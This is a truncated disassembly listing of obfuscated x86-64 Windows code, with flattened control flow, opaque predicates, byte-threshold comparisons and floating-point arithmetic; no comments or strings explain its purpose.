mov edx, dword [rbp + 0x258]
and dl, 1
mov byte [rbp + 0x2b8], dl
mov edi, dword [rbp + 0x220]
jmp 0x1404b3850
cmp dword [rbp + 0x290], 0x32
setge byte [rbp + 0x31f]
mov edi, 0x1ec422a6
jmp 0x1404b3850
mov edi, 0x3769d389
jmp 0x1404b3850
movzx edx, byte [rbp + 0x31f]
mov edi, 0x6cb905f8
jmp 0x1404b3850
cmp byte [rbp + 0x31e], 0
mov edi, 0xe40cf046
mov edx, 0x3e2628b4
cmovne edi, edx
jmp 0x1404b3850
movzx edx, byte [rbp + 0x1b0]
mov byte [rbp + 0x308], dl
mov edi, 0xfd02ef6d
jmp 0x1404b3850
mov byte [rbp + 0x31d], 0
mov edi, dword [rbp + 0x240]
jmp 0x1404b3850
mov edi, 0xc2d9f29d
jmp 0x1404b3850
cmp esi, 0x3c
setge byte [rbp + 0x30d]
mov edi, 0xb3098562
jmp 0x1404b3850
mov edx, dword [rbp + 0x2d8]
mov edi, 0x5b5ef33a
jmp 0x1404b3850
mov edx, dword [rbp + 0x1a8]
mov dword [rbp + 0x320], edx
mov edi, 0xb88cb19e
jmp 0x1404b3850
cmp r10b, 0x5a
setb byte [rbp + 0x334]
mov edi, 0xd05afbbc
jmp 0x1404b3850
mov edi, 0x706001e2
jmp 0x1404b3850
mov edi, 0x3e87c708
jmp 0x1404b3850
cmp byte [rbp + 0x309], 0
mov edi, 0x4d1a5db3
mov edx, 0xc2777481
jmp 0x1404b4968
mov edi, 0xed83767d
jmp 0x1404b3850
movzx edx, byte [rbp + 0x337]
and dl, byte [rbp + 0x336]
and dl, 1
mov byte [rbp + 0x31e], dl
mov edi, dword [rbp + 0x230]
jmp 0x1404b3850
cmp byte [rbp + 0x31d], 0
mov edi, 0x21189a93
mov edx, 0xf014037b
cmovne edi, edx
jmp 0x1404b3850
cmp cl, 0xf1
setae byte [rbp + 0x2c8]
mov edi, 0xf9c25105
jmp 0x1404b3850
mov r9d, r8d
mov edi, 0x8493d803
jmp 0x1404b3850
cmp byte [rbp + 0x308], 0
mov edi, 0x4d1a5db3
mov edx, 0xe85931d2
cmovne edi, edx
xor r14d, r14d
jmp 0x1404b3850
movzx r9d, byte [rbp + 0x288]
mov edi, 0x8493d803
jmp 0x1404b3850
mov byte [rbp + 0x260], 0
mov edi, 0x31795aec
jmp 0x1404b3850
mov edx, dword [rbp + 0x310]
cmp edx, 9
mov edi, 0x4e424fbd
mov edx, 0x4c2d4eeb
cmovl edi, edx
xor r13d, r13d
jmp 0x1404b3850
cmp r10b, 0x69
setae byte [rbp + 0x190]
mov edi, 0x42b6cc25
jmp 0x1404b3850
cmp byte [rbp + 0x150], 0
mov edi, 0x43b6e6d7
mov edx, 0x86dfa822
cmovne edi, edx
xor r8d, r8d
jmp 0x1404b3850
cmp cl, 0xbe
setae byte [rbp + 0x30f]
mov edi, dword [rbp + 0x1dc]
jmp 0x1404b3850
cmp byte [rbp + 0x2fc], 0
mov edi, 0xfb6d4f9b
mov edx, 0x59dc647c
cmovne edi, edx
jmp 0x1404b3850
cmp byte [rbp + 0x260], 0
mov edi, 0x6308a266
mov edx, 0xd4be71bf
cmovne edi, edx
jmp 0x1404b3850
cmp r10b, 0x64
setae byte [rbp + 0x307]
mov edi, 0x24fba9d4
jmp 0x1404b3850
movzx r9d, byte [rbp + 0x178]
mov edi, 0x8493d803
jmp 0x1404b3850
mov edi, 0x9eadecf2
jmp 0x1404b3850
cmp r10b, 0x3d
setae dl
cmp cl, 0xff
setne bl
and bl, byte [rbp + 0x2c8]
and bl, dl
mov byte [rbp + 0x278], bl
mov edi, dword [rbp + 0x224]
jmp 0x1404b3850
mov edx, dword [rbp + 0x280]
mov dword [rbp + 0x328], edx
mov edi, 0x888228df
jmp 0x1404b3850
mov edi, r15d
cmp r15d, 0x8493d803
jne 0x1404b3850
and r9b, 1
mov byte [rbp + 0x1e9], r9b
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa2758080
mov ecx, 0x5885e36e
cmove eax, ecx
cmp dword [0x140ae958c], 0xa
cmovl eax, ecx
jmp 0x1404b86da
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb5a91be0
mov ecx, 0xe22a85d0
jmp 0x1404ac530
cmp byte [rbp + 0x1f5], 0
mov eax, 0x7b0319cf
mov ecx, 0x37944d75
cmovne eax, ecx
movsd xmm6, qword [rbp + 0x70]
jmp 0x1404ac53d
mov eax, dword [rbp + 0xa0]
mov dword [rbp + 0x11c], eax
mov eax, 0x8585a6a9
jmp 0x1404ac53d
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 0x100]
sub rsp, 0x20
lea rdx, [0x140ae7a30]
lea r8, [0x140ae7a28]
call fcn.14048f270
add rsp, 0x20
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0x100]
mov ecx, 0xce707985
nop dword [rax]
cmp ecx, 0xce707985
je 0x1404b4b85
cmp ecx, 0x75c2ba99
jne 0x1404b4b70
jmp 0x1404b9b40
mov ecx, 0x75c2ba99
jmp 0x1404b4b70
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd25f9357
mov ecx, 0xddb0d242
jmp 0x1404ac530
mov eax, 0x841ab3f7
jmp 0x1404ac53d
mov eax, dword [0x140ae7d74]
mov dword [rbp + 0x3c], eax
mov eax, 0x68a217f0
jmp 0x1404ac53d
mov eax, 0x3433ccbe
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3ae010ea
mov ecx, 0x41a837cb
jmp 0x1404ac530
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2c7e4b44
mov ecx, 0x59300a67
jmp 0x1404ac530
mov rsi, qword [rbp - 8]
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call fcn.1403de590
mov r10d, 0xee54680f
add rsp, 0x20
mov rax, qword [rsi]
mov r14d, 0xcef4daed
mov qword [0x140ae7a30], rax
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x68], rax
mov eax, 0xd8fc729a
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4bd9a6f2
mov ecx, 0x1d83b48
jmp 0x1404ac530
mov rax, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x108]
sub rsp, 0x20
lea rdx, [0x140ae7a30]
lea r8, [0x140ae7a28]
call fcn.14048f270
add rsp, 0x20
mov rax, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0x108]
mov ecx, 0xce707985
nop word [rax + rax]
cmp ecx, 0xce707985
je 0x1404b4cc5
cmp ecx, 0x75c2ba99
jne 0x1404b4cb0
jmp 0x1404b9b9a
mov ecx, 0x75c2ba99
jmp 0x1404b4cb0
cmp byte [0x140ae7d40], 0
setne byte [rbp + 0x1fe]
mov eax, 0x4449c1f1
jmp 0x1404ac53d
movsd xmm0, qword [rbp + 0x70]
mov eax, 0x45d199ec
jmp 0x1404ac53d
mov byte [0x140ae76d8], 0
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x50], rax
mov eax, 0x3f3f51cf
jmp 0x1404ac53d
mov eax, dword [rbp + 0x254]
mov eax, dword [rbp + 0x250]
mov eax, 0xfa3d8477
jmp 0x1404ac53d
mov eax, 0x21b508c9
jmp 0x1404ac53d
xorps xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x10]
mov rax, qword [rbp - 0x30]
mov ecx, 0xecb2a966
movsd xmm1, qword [rbp - 0x78]
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xecb2a965
jle 0x1404b4d80
cmp ecx, 0x2bfe7024
je 0x1404b4dab
cmp ecx, 0xf7951289
je 0x1404b9bfa
cmp ecx, 0xecb2a966
jne 0x1404b4d50
movsd qword [rax], xmm0
mov ecx, 0xc9d81f9e
jmp 0x1404b4d50
cmp ecx, 0x87b27c58
je 0x1404b4ddb
cmp ecx, 0xc9d81f9e
jne 0x1404b4d50
mov ecx, dword [0x140ae95b0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x87b27c58
mov edx, 0x2bfe7024
jmp 0x1404b4dc9
movsd qword [rax + 8], xmm1
mov ecx, dword [0x140ae95b0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x87b27c58
mov edx, 0xf7951289
cmove ecx, edx
cmp dword [0x140ae95b4], 0xa
cmovl ecx, edx
jmp 0x1404b4d50
movsd qword [rax + 8], xmm1
mov ecx, 0x2bfe7024
jmp 0x1404b4d50
mov eax, 0x155927d0
jmp 0x1404ac53d
mov eax, dword [0x140ae7d50]
mov dword [rbp + 0x204], eax
mov eax, 0x92ddc6a1
jmp 0x1404ac53d
mov dword [0x140ae7d8c], 2
mov eax, 0x4ae36a64
jmp 0x1404ac53d
mov esi, dword [rbp + 0xa4]
mov eax, 0xe3691785
mov edi, dword [rbp + 0x9c]
nop
cmp eax, 0x61b1d00a
jg 0x1404b4e60
cmp eax, 0x82bb26ed
je 0x1404b4e8b
cmp eax, 0xe3691785
je 0x1404b4eb7
cmp eax, 0x103b5353
jne 0x1404b4e30
jmp 0x1404b9d21
cmp eax, 0x7c181b00
je 0x1404b4ec1
cmp eax, 0x67884d3c
je 0x1404b4ecb
cmp eax, 0x61b1d00b
jne 0x1404b4e30
cmp byte [0x140ae75f4], 0
mov eax, 0x82bb26ed
mov ecx, 0x67884d3c
cmove eax, ecx
jmp 0x1404b4e30
sub rsp, 0x20
lea rcx, [0x140ae75f8]
xor edx, edx
mov r8d, esi
mov r9d, edi
call fcn.1405b3cd0
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x103b5353
jmp 0x1404b4e30
mov eax, 0x61b1d00b
jmp 0x1404b4e30
mov eax, 0x82bb26ed
jmp 0x1404b4e30
sub rsp, 0x20
lea rcx, [0x140ae75f8]
call fcn.1405b3aa0
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x7c181b00
jmp 0x1404b4e30
mov dword [rbp + 0x120], 0
mov eax, 0x48d0e0b
jmp 0x1404ac53d
mov dword [0x140ae7ab0], 0
mov eax, 0x81132a0
jmp 0x1404ac53d
mov dword [rbp + 0xb0], 0
mov al, byte [rbp + 0x29e]
mov byte [rbp + 0x2aa], al
mov eax, 0x93ff4e56
jmp 0x1404ac53d
mov eax, dword [rbp + 0x204]
cmp eax, 4
mov eax, 0x20d80677
mov ecx, 0xcae2c3fd
cmovl eax, ecx
jmp 0x1404ac53d
mov eax, 0x7e982495
jmp 0x1404ac53d
mov eax, 0xedd0feab
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5f44dd24
mov ecx, 0x806c9216
jmp 0x1404ac530
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e206c61
mov ecx, 0x66ff3b4a
jmp 0x1404ac530
mov dword [rbp + 0x11c], 0
mov eax, 0x8585a6a9
jmp 0x1404ac53d
mov eax, 0x3b8055a6
jmp 0x1404ac53d
mov eax, dword [rbp + 0x124]
mov byte [rbp + 0x2a5], al
mov eax, dword [rbp + 0xc4]
mov dword [rbp + 0x250], eax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbc0d848d
mov ecx, 0xfa3d8477
jmp 0x1404ac530
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa5e18cdd
mov ecx, 0x54ab54f0
jmp 0x1404ac530
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8f0a905e
mov ecx, 0xd5671a34
jmp 0x1404ac530
mov eax, 0xfdb9ab31
jmp 0x1404ac53d
mov rsi, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x20]
sub rsp, 0x20
call fcn.1403de590
add rsp, 0x20
mov rax, qword [rsi]
mov r14d, 0xcef4daed
mov qword [0x140ae7a28], rax
mov rax, qword [rbp + 0x130]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x140ae7aa0]
call fcn.1404a6600
add rsp, 0x20
movss xmm0, dword [0x140ae7aa0]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x712871f8
nop dword [rax]
cmp eax, 0x712871f8
je 0x1404b50b3
cmp eax, 0x77be9b2c
jne 0x1404b50a0
jmp 0x1404b9d36
mov eax, 0x77be9b2c
jmp 0x1404b50a0
mov eax, 0x5f28ebc6
jmp 0x1404ac53d
mov eax, 0xd6a62740
jmp 0x1404ac53d
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, 0x514a50e7
jmp 0x1404ac53d
cmp byte [rbp + 0x1ea], 0
mov eax, 0x4bcea3b0
mov ecx, 0x83c22334
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x62207868
mov ecx, 0x4f02d0fa
jmp 0x1404ac530
mov eax, dword [rbp + 0x250]
add eax, 1
mov dword [rbp + 0x30], eax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5d2d5cf5
mov ecx, 0x454b683d
jmp 0x1404ac530
mov eax, 0xaaa0b91d
jmp 0x1404ac53d
mov rax, qword [rbp + 0x130]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x140ae7aa0]
call fcn.1404a6600
add rsp, 0x20
movss xmm0, dword [0x140ae7aa0]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x712871f8
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x712871f8
je 0x1404b51b3
cmp eax, 0x77be9b2c
jne 0x1404b51a0
jmp 0x1404b9d8a
mov eax, 0x77be9b2c
jmp 0x1404b51a0
mov eax, dword [rbp + 0x204]
cmp eax, 3
mov eax, 0xf356200
mov ecx, 0x6a708c3f
cmovl eax, ecx
jmp 0x1404ac53d
mov dword [0x140ae7d74], 2
mov eax, 0x320fb181
jmp 0x1404ac53d
mov eax, 0xf966390f
jmp 0x1404ac53d
mov eax, 0x8197954c
jmp 0x1404ac53d
mov eax, dword [rbp + 0x1e0]
mov eax, dword [rbp + 0x1e0]
mov eax, 0xd3f6664a
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8be508d1
mov ecx, 0x73f8b6ca
jmp 0x1404ac530
mov dword [0x140ae7d78], 0x12
mov eax, 0x43c06f25
jmp 0x1404ac53d
mov eax, dword [rbp + 0x2cc]
add eax, 1
mov dword [rbp + 0x24], eax
mov eax, 0x7851723a
jmp 0x1404ac53d
mov eax, 0xb4c7745e
jmp 0x1404ac53d
mov eax, 0x841ab3f7
jmp 0x1404ac53d
mov eax, dword [rbp + 0x2f4]
mov ecx, dword [0x140ae7d8c]
add eax, ecx
add eax, 0xfffffff6
mov dword [0x140ae7aac], eax
mov eax, dword [rbp + 0x2cc]
mov ecx, dword [0x140ae7d90]
lea eax, [rax + rcx - 0xa]
xorps xmm0, xmm0
cvtsi2ss xmm0, eax
addss xmm0, dword [0x140ae7a00]
movss dword [rbp + 0x2c], xmm0
mov eax, 0x6cd4179a
jmp 0x1404ac53d
mov dword [0x140ae7d78], 1
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd25f9357
mov ecx, 0x13ac5a52
jmp 0x1404ac530
mov al, byte [rbp + 0x2d3]
mov byte [rbp + 0x2b0], al
mov eax, 0xb82f1427
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x21ef60d8
mov ecx, 0x8dbda13b
jmp 0x1404ac530
mov eax, 0xd5671a34
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6f8b5f83
mov ecx, 0x33d087cf
jmp 0x1404ac530
mov eax, 0x99e5a02c
jmp 0x1404ac53d
mov al, byte [rbp + 0x29f]
jmp 0x1404b8c9c
mov eax, dword [rbp + 0x2cc]
mov eax, dword [rbp + 0x2cc]
mov eax, dword [rbp + 0x2cc]
mov eax, dword [rbp + 0x2cc]
mov eax, dword [rbp + 0x2cc]
mov eax, dword [rbp + 0x2cc]
mov eax, dword [rbp + 0x2cc]
mov eax, dword [rbp + 0x2cc]
mov eax, dword [rbp + 0x2cc]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, 0xd009c291
jmp 0x1404ac53d
mov eax, 0x8bbc2aaa
jmp 0x1404ac53d
movss xmm0, dword [0x140ae7d60]
cvtss2sd xmm0, xmm0
mulsd xmm0, xmm9
cmp byte [0x140ae7d43], 0
addsd xmm0, xmm8
je 0x1404b53d9
movapd xmm0, xmm10
movsd qword [rbp + 0x70], xmm0
mov eax, 0x94b8b4e5
jmp 0x1404ac53d
mov dword [0x140ae7d90], 2
mov eax, 0xf1992d03
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe50b419f
mov ecx, 0x25cf9c88
jmp 0x1404ac530
mov eax, 0x841ab3f7
jmp 0x1404ac53d
cmp byte [rbp + 0x1f4], 0
mov eax, 0xc90ab85f
mov ecx, 0x856b9d57
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1a6ee6df
mov ecx, 0xd3f6664a
jmp 0x1404ac530
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa1848b2a
mov ecx, 0xff243699
jmp 0x1404ac530
mov al, byte [rbp + 0x2fb]
mov eax, 0x21428168
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x62207868
mov ecx, 0xfef17c6b
jmp 0x1404ac530
mov eax, dword [rbp + 0x254]
mov ecx, dword [rbp + 0x250]
cmp ecx, eax
setl byte [rbp + 0x1f9]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbc0d848d
mov ecx, 0x729a5f2d
jmp 0x1404ac530
mov eax, 0x3062ade2
jmp 0x1404ac53d
mov al, byte [0x140ae76d8]
mov byte [rbp + 0x1f1], al
mov eax, 0x4620bd29
jmp 0x1404ac53d
cmp byte [rbp + 0x1fe], 0
mov eax, 0xea69e4a0
mov ecx, 0x53f7f4cb
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, 0x3b8055a6
jmp 0x1404ac53d
cmp byte [rbp + 0x1ed], 0
mov eax, 0x1efe071e
mov ecx, 0xadb496d0
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, dword [rbp + 0x14c]
cmp eax, 2
mov eax, 0xbbc7f4d0
mov ecx, 0xd70a057
cmove eax, ecx
jmp 0x1404ac53d
mov eax, dword [rbp + 0x204]
cmp eax, 5
mov eax, 0xa9cdab2d
mov ecx, 0xacead569
cmovl eax, ecx
jmp 0x1404ac53d
mov al, byte [rbp + 0x2fb]
and al, 1
mov byte [rbp + 0x1f6], al
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xec78d608
mov ecx, 0x63b934b0
jmp 0x1404ac530
mov r8, qword [rbp - 0x68]
mov ecx, dword [0x140ae9598]
mov edx, dword [0x140ae959c]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0x310]
cmp edx, 0xa
setl dl
setl byte [rbp + 0x328]
or dl, cl
mov edi, 0xa8c27510
mov eax, 0x35386b72
cmovne edi, eax
mov edx, 0xa8c27510
mov eax, 0x3f062a22
cmovne edx, eax
mov ebx, 0xf17d613c
mov eax, 0x3d6fccc5
cmovne ebx, eax
mov ecx, 0x8487924
mov esi, 0xbfd0128e
jmp 0x1404b5610
mov rax, qword [rbp + 0x320]
mov ecx, 0x3f062a22
nop dword [rax]
cmp ecx, 0x8487923
jle 0x1404b5650
cmp ecx, 0x35386b71
jle 0x1404b5680
cmp ecx, 0x3d6fccc5
je 0x1404b56be
cmp ecx, 0x3f062a22
jne 0x1404b56fd
mov rax, qword [rbp + 0x320]
add rax, r8
mov qword [rbp + 0x2d8], rax
mov ecx, edi
jmp 0x1404b5610
cmp ecx, 0xbfd0128d
jg 0x1404b56a0
cmp ecx, 0xa8c27510
je 0x1404b55fd
cmp ecx, 0xa9be2338
jne 0x1404b5610
mov rax, qword [rbp + 0x338]
mov rax, qword [rax]
mov qword [rbp + 0x320], rax
mov ecx, 0x2f542625
jmp 0x1404b5610
cmp ecx, 0x8487924
je 0x1404b56c8
cmp ecx, 0x2f542625
jne 0x1404b5610
mov ecx, edx
jmp 0x1404b5610
cmp ecx, 0xbfd0128e
je 0x1404b56e8
cmp ecx, 0xf17d613c
jne 0x1404b5610
mov ecx, 0xbfd0128e
jmp 0x1404b5610
mov ecx, 0xa9be2338
jmp 0x1404b5610
movzx eax, byte [rbp + 0x310]
cmp byte [rbp + 0x328], 0
mov ecx, 0xf17d613c
cmovne ecx, esi
test al, al
cmovne ecx, esi
jmp 0x1404b5610
lea rax, [0x140ae7ad0]
mov qword [rbp + 0x338], rax
mov ecx, ebx
jmp 0x1404b5610
cmp ecx, 0x35386b72
jne 0x1404b5610
mov rdx, qword [rbp + 0x2d8]
movzx eax, byte [rdx]
movzx r11d, byte [rdx + 1]
movzx r12d, byte [rdx + 2]
cmp r12d, 0x6e
setae r8b
mov edi, dword [0x140ae95a0]
lea esi, [rdi - 1]
imul esi, edi
test sil, 1
sete bl
cmp dword [0x140ae95a4], 0xa
setl r9b
or r9b, bl
mov edx, r12d
sub edx, eax
mov r14d, eax
sub r14d, r11d
mov esi, r12d
sub esi, r11d
mov ebx, edx
neg ebx
mov edi, edx
cmovge edi, ebx
mov dword [rbp + 0x268], edi
lea edi, [rdx + 0x5bd633db]
sub edi, 0x5bd633db
cmovb edi, ebx
mov dword [rbp + 0x26c], edi
mov edi, r12d
add edi, 0xffffff0f
mov dword [rbp + 0x270], edi
cmp r14d, 0x3c
setge cl
and cl, r8b
mov byte [rbp + 0x274], cl
lea ecx, [rdx + 0x3285dbe0]
sub ecx, 0x3285dbe0
cmovb ecx, ebx
mov dword [rbp + 0x1a0], ecx
add edx, 0xfff3dde0
sub edx, 0xfff3dde0
cmovb edx, ebx
mov qword [rbp + 0x168], rdx
test r9b, r9b
mov ecx, 0xa7618fd7
mov edx, 0xf567301e
cmovne ecx, edx
mov dword [rbp + 0x280], ecx
mov ecx, 0xa7618fd7
mov edx, 0x5b5ef33a
cmovne ecx, edx
mov dword [rbp + 0x1a8], ecx
mov ecx, 0x2aaeecf6
mov edx, 0x760f2b06
cmovne ecx, edx
mov dword [rbp + 0x284], ecx
mov ecx, 0x2aaeecf6
mov edx, 0xb90af727
cmovne ecx, edx
mov dword [rbp + 0x1b0], ecx
mov ecx, 0x62e019f4
mov edx, 0x6c2646b5
cmovne ecx, edx
mov dword [rbp + 0x1b8], ecx
mov ecx, 0x62e019f4
mov edx, 0x428e74fb
cmovne ecx, edx
mov dword [rbp + 0x290], ecx
mov ecx, 0xb41cf92d
mov edx, 0x757f22ee
cmovne ecx, edx
mov dword [rbp + 0x1c0], ecx
mov ecx, 0xb41cf92d
mov edx, 0xa590ee0c
cmovne ecx, edx
mov dword [rbp + 0x170], ecx
mov ecx, 0x21a1fcb2
mov edx, 0x7e344b5e
cmovne ecx, edx
mov dword [rbp + 0x208], ecx
mov ecx, 0x21a1fcb2
mov edx, 0xad3aed4c
cmovne ecx, edx
mov dword [rbp + 0x258], ecx
mov r10d, 0x7b9405a6
mov edx, 0xb8ba2ea1
cmovne r10d, edx
mov ecx, 0x7b9405a6
mov edx, 0x3769d389
cmovne ecx, edx
mov dword [rbp + 0x2d4], ecx
mov ecx, 0x5dafc2d
mov edx, 0xb3c01a6d
cmovne ecx, edx
mov dword [rbp + 0x158], ecx
mov ecx, 0x5dafc2d
mov edx, 0x899d82c4
cmovne ecx, edx
mov dword [rbp + 0x20c], ecx
mov ecx, 0xa4414229
mov edx, 0x10405e5c
cmovne ecx, edx
mov dword [rbp + 0x210], ecx
mov ecx, 0xa4414229
mov edx, 0xdd8786a
cmovne ecx, edx
mov dword [rbp + 0x264], ecx
mov ecx, 0x27337b00
mov edx, 0x6626dad9
cmovne ecx, edx
mov dword [rbp + 0x214], ecx
mov ecx, 0x27337b00
mov edx, 0xed83767d
cmovne ecx, edx
mov dword [rbp + 0x218], ecx
mov ecx, 0x2bc88f4a
mov edx, 0x1c4362fd
cmovne ecx, edx
mov dword [rbp + 0x21c], ecx
mov ecx, 0x2bc88f4a
mov edx, 0xd5a68c66
cmovne ecx, edx
mov dword [rbp + 0x220], ecx
mov ecx, 0x9725ec49
mov edx, 0x62b68f3d
cmovne ecx, edx
mov dword [rbp + 0x224], ecx
mov ecx, 0x9725ec49
mov edx, 0x72086caf
cmovne ecx, edx
mov dword [rbp + 0x228], ecx
mov ecx, 0x4b66138b
mov edx, 0x44091724
cmovne ecx, edx
mov dword [rbp + 0x22c], ecx
mov ecx, 0x4b66138b
mov edx, 0xc2d9f29d
cmovne ecx, edx
mov dword [rbp + 0x230], ecx
mov ecx, 0x9375baaa
mov edx, 0xbac801d8
cmovne ecx, edx
mov dword [rbp + 0x234], ecx
mov ecx, 0x9375baaa
mov edx, 0x1e360b3e
cmovne ecx, edx
mov dword [rbp + 0x160], ecx
mov ecx, 0x5b7b3aa7
mov edx, 0xac7f4103
cmovne ecx, edx
mov dword [rbp + 0x238], ecx
mov ecx, 0x5b7b3aa7
mov edx, 0xa43574d7
cmovne ecx, edx
mov dword [rbp + 0x23c], ecx
mov ecx, 0x175c1eb0
mov edx, 0x69049abf
cmovne ecx, edx
mov dword [rbp + 0x240], ecx
mov r8d, 0x175c1eb0
mov edx, 0x6cb905f8
cmovne r8d, edx
mov ecx, 0xf0ef6445
mov edx, 0x7b991837
cmovne ecx, edx
mov dword [rbp + 0x244], ecx
mov ecx, 0xf0ef6445
mov edx, 0xd5c03f2c
cmovne ecx, edx
mov dword [rbp + 0x248], ecx
mov ecx, 0xefdfc0ad
mov edx, 0xf513da8a
cmovne ecx, edx
mov dword [rbp + 0x24c], ecx
mov ecx, 0xefdfc0ad
mov edx, 0x706001e2
cmovne ecx, edx
mov edi, 0x6d3ba0ad
jmp 0x1404b5a60
mov edi, ebx
cmp ebx, 0x8337efc6
jne 0x1404b5a60
mov edi, 0x8493d803
nop word cs:[rax + rax]
mov ebx, edi
cmp edi, 0x175c1eaf
jg 0x1404b5ad0
cmp ebx, 0xc2777480
jle 0x1404b5b40
cmp ebx, 0xecad30c9
jle 0x1404b5bfb
cmp ebx, 0xf9c25104
jg 0x1404b5d31
cmp ebx, 0xf0ef6444
jg 0x1404b5f5a
cmp ebx, 0xefdfc0ac
jg 0x1404b62e2
cmp ebx, 0xecad30ca
je 0x1404b67c4
mov edi, ebx
cmp ebx, 0xed83767d
jne 0x1404b5a60
mov edi, dword [rbp + 0x214]
jmp 0x1404b5a60
cmp ebx, 0x4b66138a
jle 0x1404b5ba0
cmp ebx, 0x693a83db
jle 0x1404b5c51
cmp ebx, 0x72c47359
jg 0x1404b5d74
cmp ebx, 0x6d3ba0ac
jg 0x1404b5f8a
cmp ebx, 0x6c2646b4
jg 0x1404b631c
cmp ebx, 0x693a83dc
je 0x1404b67dc
mov edi, ebx
cmp ebx, 0x69ea72c9
jne 0x1404b5a60
mov edi, dword [rbp + 0x230]
jmp 0x1404b5a60
cmp ebx, 0xa7618fd6
jg 0x1404b5c9a
cmp ebx, 0x9375baa9
jle 0x1404b5db0
cmp ebx, 0xa43574d6
jg 0x1404b5fbb
cmp ebx, 0x9eadecf1
jg 0x1404b6354
cmp ebx, 0x9375baaa
je 0x1404b67f5
mov edi, ebx
cmp ebx, 0x9725ec49
jne 0x1404b5a60
mov edi, 0x72086caf
jmp 0x1404b5a60
cmp ebx, 0x3769d388
jg 0x1404b5ce2
cmp ebx, 0x22a40a6d
jle 0x1404b5e00
cmp ebx, 0x2bc88f49
jg 0x1404b5ff2
cmp ebx, 0x27337aff
jg 0x1404b6382
cmp ebx, 0x22a40a6e
je 0x1404b67ff
mov edi, ebx
cmp ebx, 0x24fba9d4
jne 0x1404b5a60
movzx ebx, byte [rbp + 0x307]
mov edi, 0x4d1a5db3
jmp 0x1404b5a60
cmp ebx, 0xd05afbbb
jle 0x1404b5e40
cmp ebx, 0xe40cf045
jg 0x1404b6042
cmp ebx, 0xd5a68c65
jg 0x1404b63a6
cmp ebx, 0xd05afbbc
je 0x1404b6814
mov edi, ebx
cmp ebx, 0xd4be71bf
jne 0x1404b5a60
cmp dword [rbp + 0x270], 0xe
setb byte [rbp + 0x2b4]
mov edi, 0x693a83dc
jmp 0x1404b5a60
cmp ebx, 0x5b7b3aa6
jle 0x1404b5e91
